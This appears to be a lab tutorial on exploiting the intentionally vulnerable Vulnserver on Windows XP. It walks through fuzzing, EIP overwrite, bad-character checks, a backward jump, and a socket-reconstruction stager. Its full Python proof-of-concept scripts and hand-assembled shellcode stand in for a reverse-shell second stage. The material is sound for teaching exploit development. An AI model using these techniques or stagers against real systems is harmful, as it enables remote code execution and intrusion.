Vulnserver is a Windows based threaded TCP server application that is designed to be exploited. The program is intended to be used as a learning tool to teach about the process of software exploitation, as well as a good victim program for testing new exploitation techniques and shellcode.
OS Name: Microsoft Windows XP Professional
OS Version: 5.1.2600 Service Pack 3 Build 2600
OS Manufacturer: Microsoft Corporation
Vulnserver - Link above
python 2.7 x86, pydbg 32-bit binary, python wmi, pywin32
Immunity Debugger with mona installed
Kali 2.0 with Boofuzz fuzzer
2.1 Interface
Using netcat connect to X.X.X.X:9999 and issue the HELP command to confirm that everything is working as expected:
3. Fuzzing
For the purpose of this tutorial we will be focusing on fuzzing the GTER command. Observing that the valid argument structure for the GTER command is roughly <gter>[space]<command_value> we can try sending GTER hello as a test and see if it’s accepted.
As can bee seen above, the command and argument executed successfully. Now that we have confirmed the structure of a command and its arguments, we can start fuzzing this command to see if we can get the program to crash when submitting various argument values to the GTER command.
The following BOOFUZZ template was created to fuzz the TRUN command in an effort to get the program to crash.
The following command appears to have crashed the program indicating that the "GTER" command can be manipulated to force the program to crash.
3.2 Analysing The Crash
Based on the TCP stream (Figure 5), the number of bytes that was sent by the fuzzer and that caused the crash was around 5000 bytes.
To gain a better understanding of this, the following template was used to identify the length needed to overflow the GTER command and cause the crash:
As can be seen from Figure 6 the program crashes when a string of 5990 chars is sent. Checking the dump using immunity it can be seen that we control a buffer of length 171 bytes - Figure 7.
4. Determine Offset
Using msf-pattern_create create a pattern of length 5990 bytes.
Restart the application and run the updated exploit below:
As can be seen from Figure 11, we can successfully control EIP. It can also be observed that the buffer of D’s is located directly after the 4 bytes of B’s. This means that we will be able to simply place our shellcode right after the 4 bytes of B’s.
Outlined below are the changes you will need to make:
# Modify lines 35 - 40 to be the same as below''' INSERT THE REQUEST TEMPLATE HERE - NEEDS TO BE MODIFIED EVERY TIME'''request_template = ("GTER /.:/{}")
# Modify Lines 46 and 56 to be the same as belowiteration =0processName ="vulnserver.exe"# name of the process as it appears in tasklistexecutable = r"C:\Documents and Settings\Administrator\My Documents\Downloads\vulnserver\vulnserver.exe" # path the executable to start the process
start_buffer_address ="\x0C\xFA\xB7\x00"# Take this value straight from immunitystart_buffer_address_offset =0x04# The offset you want to read. Note this will typically be 4seh_violation =False# Change me depending on crash occuring in seh handler listeningPort =9999# Address of the listening processcrashLoad = "A" * 147 + "B" * 4 + "{}" + "D" * 5830 # load to crash the proces with {} representing where our test chars will go
responsive_test_string ="HELP"crash_wait_timeout =10# seconds to wait after a payload has been sentservice_responsive_timeout =10
5.2 Results
Execute the script. Once finished you should have identical results to those outlined below in Figure 12.
As can be seen from Figure 14, '\x00' is the only bad character.
6. Redirecting Execution Flow
As can be seen from Figure 13 all the expected characters (\x01 to \xFF) are accepted. This means that the only bad character was the NULL byte (\x00 - Figure 14). The next step was to find an address that contains a JMP ESP instruction. ]
NOTE: It’s always recommended to use an address from the application itself, or a DLL that comes with the application for compatibility purposes. I.E. the exploit will work even if the application was installed on a different machine. For Vulnserver.exe we can look at the DLL that comes with it (essfunc.dll).
Restart the application in Immunity and execute the following command !mona jmp -r esp -m "essfunc.dll".
6.1 Taking Control of EIP
Restart the application in Immunity, set a breakpoint at address 0x625011AF and execute the updated POC below
Step through the breakpoint using F8 and you will land in the D buffer - Figure 17.
7. Limited Buffer Space
As can be seen in Figure 17 we only have approx 20 bytes of buffer space which is too small to do anything with. This leaves us with a couple of options. We can perform a long jump backwards to the start of our A buffer, we can implement an egghunter, or we can perform a socket reconstruction technique. For the purposes of this tutorial we will implement a socket reconstruction technique which involves sending two stager payload.
7.1. Escaping Our Small Buffer
As can be seen in Figure 17, we have approximately 20 bytes remaining. Due to the limited buffer space remaining we will first need to jump back to the start of our A buffer. To do this, we need to calculate the address of our current position and the address at the start of our A buffer. As can be seen from Figure 17 we are currently at address 00B7FA0C
As can be seen from Figure 18 our A buffer starts at address 00B7F975
7.2 Jumping Backwards
If we check the distance between 00B7FA0C and 00B7F975 we will find that we have 151 bytes (97 hex) between them. Again we will make use of the metasm tool to convert our negative jump instruction to shellcode.
Restart the application, set a breakpoint at 0x625011AF and run the updated exploit below:
import socketimport structTCP_IP ='192.168.109.129'TCP_PORT =9999payload ="GTER /.:/"payload +="A"*147# Junkpayload += struct.pack("<I",0x625011AF)# Overwrite EIPpayload +="\xe9\x64\xff\xff\xff"# Negative jump back to the start of our A bufferpayload +="D"* (5990-len(payload)) # Junks = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((TCP_IP, TCP_PORT))s.send(payload)s.close()
Stepping past our breakpoint and following our long jump instruction we should be land at the start of our A buffer - Figure 20.
8. Socket Reconstruction technique
Socket reconstruction is a technique that leverages the fact that in certain client – server applications , it would have already loaded the socket related DLL file required into its memory. This can further be used for exploiting a buffer overflow vulnerability on that application . An attacker can replicate the server ability to construct a socket and at this point of time the attacker can then send their second stager payload which is a larger reverse shell payload and gets a reverse shell once executed.
8.1 Finding a call to WS_32.Socket()
As shown in the diagram above, the first phase is to create a socket. To do this we need to locate where WS_32.socket is called from – this will be in the application itself somewhere. To do this, open the application in Immunity, right click anywhere in the vulnserver executable and select ‘Search For -> All Intermodular calls’ as shown in Figure 21.
Following this we can see all intermodular calls from this module to all other modules loaded. We are looking for a call to the socket function from WS_32 DLL file.
Having identified the WS_32.socket address as shown in Figure 22, set a breakpoint at address 0040156C and restart the application in Immunity.
8.2 Socket Function
Without any context, these values will make no sense. Fortunately detailed documentation of these functions is provided by Microsoft. In this case, we can find the documentation of the socket function at the link below.
The first argument (on the top of the stack) is the address family specification; in this, case the value 0x00000002 - Figure 24.
The second argument is the type specification for the new socket; in this case the value is 0x00000001 which is a SOCK_STREAM connection - Figure 24.
The third argument is the protocol; in this case the value is 0x00000006 which is IPPROTO_TCP - Figure 24.
Before moving on, be sure to double click the call instruction and make note of the address that socket is found at as it will be needed later. In this case, it can be found at 0040257C - Figure 26.
So having now gathered this information, we know now that our socket call would be as follows :
socket(2, 1, 6)
We will have to push the parameters onto stack in reverse order, move the socket function address to a register and then finally call that register. This process has been outlined in the following code snippet:
"\x83\xEC\x50"# SUB ESP,50 # for moving away from EIP"\x83\xEC\x50"# SUB ESP,50 # for moving away from EIP"\x31\xc0"# XOR EAX,EAX"\xB0\x06"# MOV AL,6"\x50"# PUSH EAX"\xB0\x01"# MOV AL,1"\x50"# PUSH EAX"\x40"# INC EAX"\x50"# PUSH EAX"\xBB\x77\x7C\x25\x40"# MOV EBX,40257C77 "\xC1\xEB\x08"# SHR EBX,8"\xFF\xD3"# CALL EBX"\x8B\xF8"# MOV EDI,EAX
8.2.1 Moving The Stack Out Of The Way
We see that first we move the ESP to a location far from EIP to prevent stack corruption. As the stack grows, and things are pushed onto it, the stack grows towards the lower memory addresses. Our shellcode is growing toward the higher memory addresses.
To circumvent this constraint, subtract the value of ESP by 100. This means the stack will be located above the shellcode. Since the stack grows downwards, it will never reach the shellcode. This is because the shellcode, which is growing towards the higher addresses, is growing in the opposite way of the stack- and the stack is located above the shellcode.
8.2.2 Pushing Data
Now that the stack pointer is adjusted, it was possible to push all of the remaining data. The first step is to push 6 onto the stack to set the protocol argument. As you can’t hard code a null byte, you can instead XOR a register (EAX in this case) with itself to make it equal 0. Next we adjust the EAX register to equal our desired parameter, in this 6, Figure 24 -IPPROTO_TCP value.
XOR EAX,EAX # zero out eax registerMOV AL,6# Adjust EAX to be 0x00000006PUSH EAX # push eax onto the top of the stack
The next argument is the socket type. Again we will can change the AL value to 1 and push the value onto the stack
MOV AL,1# Adjust EAX to be 0x00000001PUSH EAX # push eax onto the top of the stack
The next argument is the address family. Again we can modify EAX and increase it by 1 and push the value onto the stack
INC EAX # Increase EAX by 1PUSH EAX # push eax onto the stack
Our last step is to push the address of the socket function into EBX and call it. Going back to the address of the socket function that was noted earlier - Figure 26, it starts with a null byte. As this null byte is found at the start of the address rather than in the middle it can be circumvented with one of the shifting instructions. Specifically you want a SHR, or Shift Right. The second operand, we’ll be using 8, defines the amount of bits to be shifted right. In order to accomplish this, append 77 to the end of our target address so that 0040257C now becomes 40257C77 . With the correct address now placed into EBX, we can then call it.
MOV EBX,40257C77 # Move address into EBXSHR EBX,8# Shift right by 8 bits and thus reintroduce the required 00CALL EBX # Call EBX Function
So we can see that EBX contains the socket function address as we had planned, but more importantly, EAX now contains the result of the function call which is the handle to the socket we’ll be listening on. We need to store that handle away so that we can use it in calls to bind, listen and accept. Instead of pushing onto the stack we’re going to put it in a register for easy access. The EDI register tends to persist across calls to the functions that we’ll be calling so let’s put it in there.
MOV EDI,EAX # Store Return address in EAX in EDI
8.3 Bind Function
We need to find the address of the bind function. Having identified the WS_32.socket address as shown in Figure 22, note down the bind address call as shown in Figure 30.
According to MSDN, bind accepts three parameters as follows:
The first argument contains a descriptor identifying an unbound socket.
The second argument is the port you wish to bind the socket to.
The third argument is the length, in bytes, of the value pointed to by the name parameter.
So having now gathered this information, we know now that our bind call would be as follows :
bind(socket handle,socket addr struct,16)
We will have to push the parameters onto stack in reverse order, move the bind function address to a register and then finally call that register. This process has been outlined in the following code snippet:
"\x31\xC0"# XOR EAX,EAX"\x50"# PUSH EAX"\x50"# PUSH EAX"\xba\x02\xff\x1a\x0a"# mov edx,0xa1aff02"\x30\xf6"# xor dx"\x54"# push esp"\x59"# pop ecx"\x6A\x16"# PUSH 16 # socket "\x89\x11"# mov DWORD PTR [ecx],edx"\x51"# PUSH ECX"\xB3\x64"# MOV BL,64 # Add to ebx to make it equal to the call bind function which is at address 00402564"\x57"# PUSH EDI"\xFF\xD3"# CALL EBX
8.2.1 Pushing Data
Thinking like a programmer, we might assume that we need to do several things to call bind correctly:
Create and initialise a sockaddr structure.
Push the length of this structure.
Push a pointer to the structure.
Push the socket descriptor.
However, there is a more efficient way than this. Firstly, most of the structure required for the name parameter can be zero – we only need to worry about its first two members:
The second step focuses on the namelen parameter. As mentioned above this does not actually need to be the precise length of the structure – it just needs to be large enough. Therefore, we can cut some corners.
First we construct our socket addr structure. we do this by zeroing out the registers and pushing two DWORD of zeros
Next the two sockaddr members above - Figure 31, we will use the DWORD 0x0A1A0002 (where 0x0A1A is 6666, the port number, and 0x02 is AF_INET, the address family). Unfortunately, the DWORD we need contains a null byte, so we need to manufacture it on the fly. We will use the EDX register to perform these calculations
This process has been illustrated in the images below:
As can be seen from Figure 32, we zero out our EAX register and push EAX to the stack twice. We then copy our desired address of 0x0A1AFF02 into the EDX register. Note we replaced the two zeros in dh with FF as we cannot send a null byte without breaking the application flow. Next we XOR DH,DH to replace the FF's with NULL bytes - Figure 33.
Next we push ESP onto the stack and pop that value into ECX.
"\x54"# push esp"\x59"# pop ecx
Next we push 16 for the size of the struct. We then retrieve the address that we stored in EDX and point ECX to it and the push ECX to the stack.
Next, if we recall from earlier our bind function call is located at address 00402564 - Figure 30. Observing that EBX is currently located at address 0040257C we can increase the lower base (BL) by 64.
"\xB3\x64"# MOV BL,64 # Add to ebx to make it equal to the call bind function which is at address 00402564
Finally we retrieve the socket handle that we stored in the EDI register earlier - ref Section 8.2 and push that to the stack. We then invoke the bind call by calling the EBX register
"\x57"# PUSH EDI"\xFF\xD3"# CALL EBX
This shows that bind returned 0 (which is good) and that the LastErr is success. All is well so far! All we need now are listen, accept and recv.
8.4 Listen Function
Listen is relatively simple syscall as it only takes two parameters, a socket descriptor and finally a backlog counter.
The first think we need to do is to find the address of the Listen function. Having identified the WS_32.socket address as shown in Figure 22, note down the bind address call as shown in Figure 40.
So let’s move EBX to point to this function first, then set up the stack before doing the call. This is done like so:
MOV BL,0x54 ; Point EBX at `listen`PUSH 0x7F ; Specify a big backlogPUSH EDI ; Pass in the socketCALL EBX ; Invoke listen
8.4.1 POC Update
Having gathered all of the information above, restart the application, set a breakpoint at 0x625011AF and update the updated exploit below:
import socketimport structTCP_IP ='192.168.109.129'TCP_PORT =9999# INSTRUCTIONS TO ADJUST ESPadjust_esp ="\x83\xEC\x50"# SUB ESP,50 # for moving away from EIPadjust_esp +="\x83\xEC\x50"# SUB ESP,50 # for moving away from EIP# INSTRUCTIONS FOR SOCKET CALLsocket_call ="\x31\xc0"# XOR EAX,EAXsocket_call +="\xB0\x06"# MOV AL,6socket_call +="\x50"# PUSH EAXsocket_call +="\xB0\x01"# MOV AL,1socket_call +="\x50"# PUSH EAXsocket_call +="\x40"# INC EAXsocket_call +="\x50"# PUSH EAXsocket_call +="\xBB\x77\x7C\x25\x40"# MOV EBX,40257C77 socket_call +="\xC1\xEB\x08"# SHR EBX,8socket_call +="\xFF\xD3"# CALL EBXsocket_call +="\x8B\xF8"# MOV EDI,EAX# INSTRUCTIONS FOR BIND CALLbind_call ="\x31\xC0"# XOR EAX,EAXbind_call +="\x50"# PUSH EAXbind_call +="\x50"# PUSH EAXbind_call +="\xba\x02\xff\x1a\x0a"# mov edx,0xa1aff02bind_call +="\x30\xf6"# xor dxbind_call +="\x54"# push espbind_call +="\x59"# pop ecxbind_call +="\x6A\x16"# PUSH 16 # socket bind_call +="\x89\x11"# mov DWORD PTR [ecx],edxbind_call +="\x51"# PUSH ECXbind_call += "\xB3\x64" # MOV BL,64 # Add to ebx to make it equal to the call bind function which is at address 00402564
bind_call +="\x57"# PUSH EDIbind_call +="\xFF\xD3"# CALL EBX# INSTRUCTIONS FOR LISTEN CALLlisten_call ="\xB3\x54"listen_call +="\x6A\x7F"listen_call +="\x57"listen_call +="\xFF\xD3"# MAIN PAYLOAD INSTRUCTIONSpayload ="GTER /.:/"payload += adjust_esp payload += socket_call # Call socket_call payload += bind_call # Call bind_call payload += listen_call # Call listen_call payload +="A"* (147-len(adjust_esp)-len(socket_call)-len(bind_call)-len(listen_call)) # Junkpayload += struct.pack("<I",0x625011AF)# Overwrite EIPpayload +="\xe9\x64\xff\xff\xff"# Negative jump back to the start of our A bufferpayload +="D"* (5990-len(payload)) # Junks = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((TCP_IP, TCP_PORT))s.send(payload)s.close()
8.5 Accept Function
Our next step is to start accepting new connections on our socket. The first think we need to do is to find the address of the Accept function. Having identified the WS_32.socket address as shown in Figure 22, note down the bind address call as shown in Figure 43.
According to Microsoft, the accept function takes three parameters. The call would normally look like accept(socket, NULL, NULL). As the EAX register returned zero from our Listen call, we can effectively push EAX to the stack twice to satisfy the second and third parameters of the Accept Function.
50 PUSH EAX50 PUSH EAX
Again let's move EBX to point to this function first, then set up the stack before doing the call. This is done like so:
57 PUSH EDI0B3 4C MOV BL,4CFFD3 CALL EBX
8.6 Recv Function
Finally the recv syscall accepts the second stage payload. The first think we need to do is to find the address of the RECV function. Having identified the WS_32.socket address as shown in Figure 22, note down the bind address call as shown in Figure 45.
According to Microsoft, the recv function takes four parameters.
The first argument (on the top of the stack) is the socket file descriptor which was received from previous accept syscall.
The second argument is the buffer, i.e. a pointer to the area of memory that the data received via the socket will be stored.
The third argument is the amount of data to expect.
The final argument is the flags that influence the behaviour of the function. As the default behaviour is being used,we will set this to 0.
As these instructions are pushed in reverse the first thing we need to do is to satisfy the flags parameter. To satisfy the flags parameter we we zero out and move the FLAGS ( NULL ) onto the stack:
8BF8 MOV EDI,EAX33C0 XOR EAX,EAX50 PUSH EAX
Next, to satisfy the third parameter mov 2 into AH which creates additional buffer space (length of 512 bytes) and pushing it to the stack.
B4 02 MOV AH,250 PUSH EAX
The most difficult part of the Recv function is satisfying the second parameter. This is selecting an address where the exploit should be stored. To accomplish this, you need to tell recv to dump the received data directly ahead of where we are currently executing, allowing for execution to drop straight into it. To do this, you need to determine how far away ESP is from the end of the stager. By looking at the current stack pointer and the address of the last few bytes of the stager you can determine how many bytes you are away. In this case it was 145 bytes as seen in Figure 47
00B7F95B - 00B7F9EC = 91 hex or 145 bytes.
As shown above we need to adjust esp by 145 bytes so that is points to 00B7F9EC. To do this, we will push ESPonto the stack and pop that value into ECXto carry out the necessary calculations as shown below:
"\x54"# PUSH ESP onto the stack"\x59"# POP ESP into ECX"\x66\x83\xC1\x48"# add cx,byte +0x48"\x66\x83\xC1\x49"# add cx,byte +0x49"\x51"# PUSH ECX onto the stack
Next we push the socket handler stored in EDI onto the stack, adjust EBX so that it equals the call address of the recv function and then we call EBX.
Now that we have the final stager shell code complete we can send our dummy shellcode. Additionally a timer was added to wait a few seconds before sending the final payload, to ensure that the stager had executed. The updated POC should now look like this:
import socketimport structfrom time import sleep# MAIN PAYLOAD INSTRUCTIONSdeffirst_payload():# INSTRUCTIONS TO ADJUST ESP adjust_esp ="\x83\xEC\x50"# SUB ESP,50 # for moving away from EIP adjust_esp +="\x83\xEC\x50"# SUB ESP,50 # for moving away from EIP# INSTRUCTIONS FOR SOCKET CALL socket_call ="\x31\xc0"# XOR EAX,EAX socket_call +="\xB0\x06"# MOV AL,6 socket_call +="\x50"# PUSH EAX socket_call +="\xB0\x01"# MOV AL,1 socket_call +="\x50"# PUSH EAX socket_call +="\x40"# INC EAX socket_call +="\x50"# PUSH EAX socket_call +="\xBB\x77\x7C\x25\x40"# MOV EBX,40257C77 socket_call +="\xC1\xEB\x08"# SHR EBX,8 socket_call +="\xFF\xD3"# CALL EBX socket_call +="\x8B\xF8"# MOV EDI,EAX# INSTRUCTIONS FOR BIND CALL bind_call ="\x31\xC0"# XOR EAX,EAX bind_call +="\x50"# PUSH EAX bind_call +="\x50"# PUSH EAX bind_call +="\xba\x02\xff\x1a\x0a"# mov edx,0xa1aff02 bind_call +="\x30\xf6"# xor dx bind_call +="\x54"# push esp bind_call +="\x59"# pop ecx bind_call +="\x6A\x16"# PUSH 16 # socket bind_call +="\x89\x11"# mov DWORD PTR [ecx],edx bind_call +="\x51"# PUSH ECX bind_call += "\xB3\x64" # MOV BL,64 # Add to ebx to make it equal to the call bind function which is at address 00402564
bind_call +="\x57"# PUSH EDI bind_call +="\xFF\xD3"# CALL EBX# INSTRUCTIONS FOR LISTEN CALL listen_call ="\xB3\x54" listen_call +="\x6A\x7F" listen_call +="\x57" listen_call +="\xFF\xD3"# INSTRUCTIONS FOR ACCEPT CALL accept_call ="\x50"# PUSH EAX accept_call +="\x50"# PUSH EAX accept_call +="\x57"# PUSH EDI accept_call +="\xB3\x4C"# MOV BL,4C accept_call +="\xFF\xD3"# CALL EBX# INSTRUCTIONS FOR RECV CALL recv_call ="\x8B\xF8"# MOV EDI,EAX recv_call +="\x33\xC0"# XOR EAX,EAX recv_call +="\x50"# PUSH EAX recv_call +="\xB4\x02"# MOV AH,2 recv_call +="\x50"# PUSH EAX recv_call +="\x54"# PUSH ESP onto the stack recv_call +="\x59"# POP ESP into ECX recv_call +="\x66\x83\xC1\x48"# add cx,byte +0x48 recv_call +="\x66\x83\xC1\x49"# add cx,byte +0x49 recv_call +="\x51"# PUSH ECX onto the stack recv_call +="\x57"# PUSH EDI recv_call +="\xB3\x2C"# MOV BL,2C recv_call +="\xFF\xD3"# CALL EBX# MAIN PAYLOAD INSTRUCTIONS payload ="GTER /.:/" payload += adjust_esp payload += socket_call # Call socket_call payload += bind_call # Call bind_call payload += listen_call # Call listen_call payload += accept_call # Call accept_call payload += recv_call payload += "A" * (147 - len(adjust_esp) - len(socket_call) - len(bind_call) - len(listen_call) - len(accept_call) - len(recv_call)) # Junk
payload += struct.pack("<I",0x625011AF)# Overwrite EIP payload +="\xe9\x64\xff\xff\xff"# Negative jump back to the start of our A buffer payload +="D"* (5990-len(payload)) # Junkreturn payload# Function Containing Reverse TCP Shelldefsecond_payload(): payload ="\xCC"*500return payloadTCP_IP ='192.168.109.129'TCP_PORT =9999# send first payloadprint("Sending First Payload")payload =first_payload()s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((TCP_IP, TCP_PORT))s.send(payload)s.close()print("Sent!")sleep(3)# send second payloadprint("Sending Second Payload")payload =second_payload()TCP_PORT =6666s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((TCP_IP, TCP_PORT))s.send(payload)s.close()print("Sent!")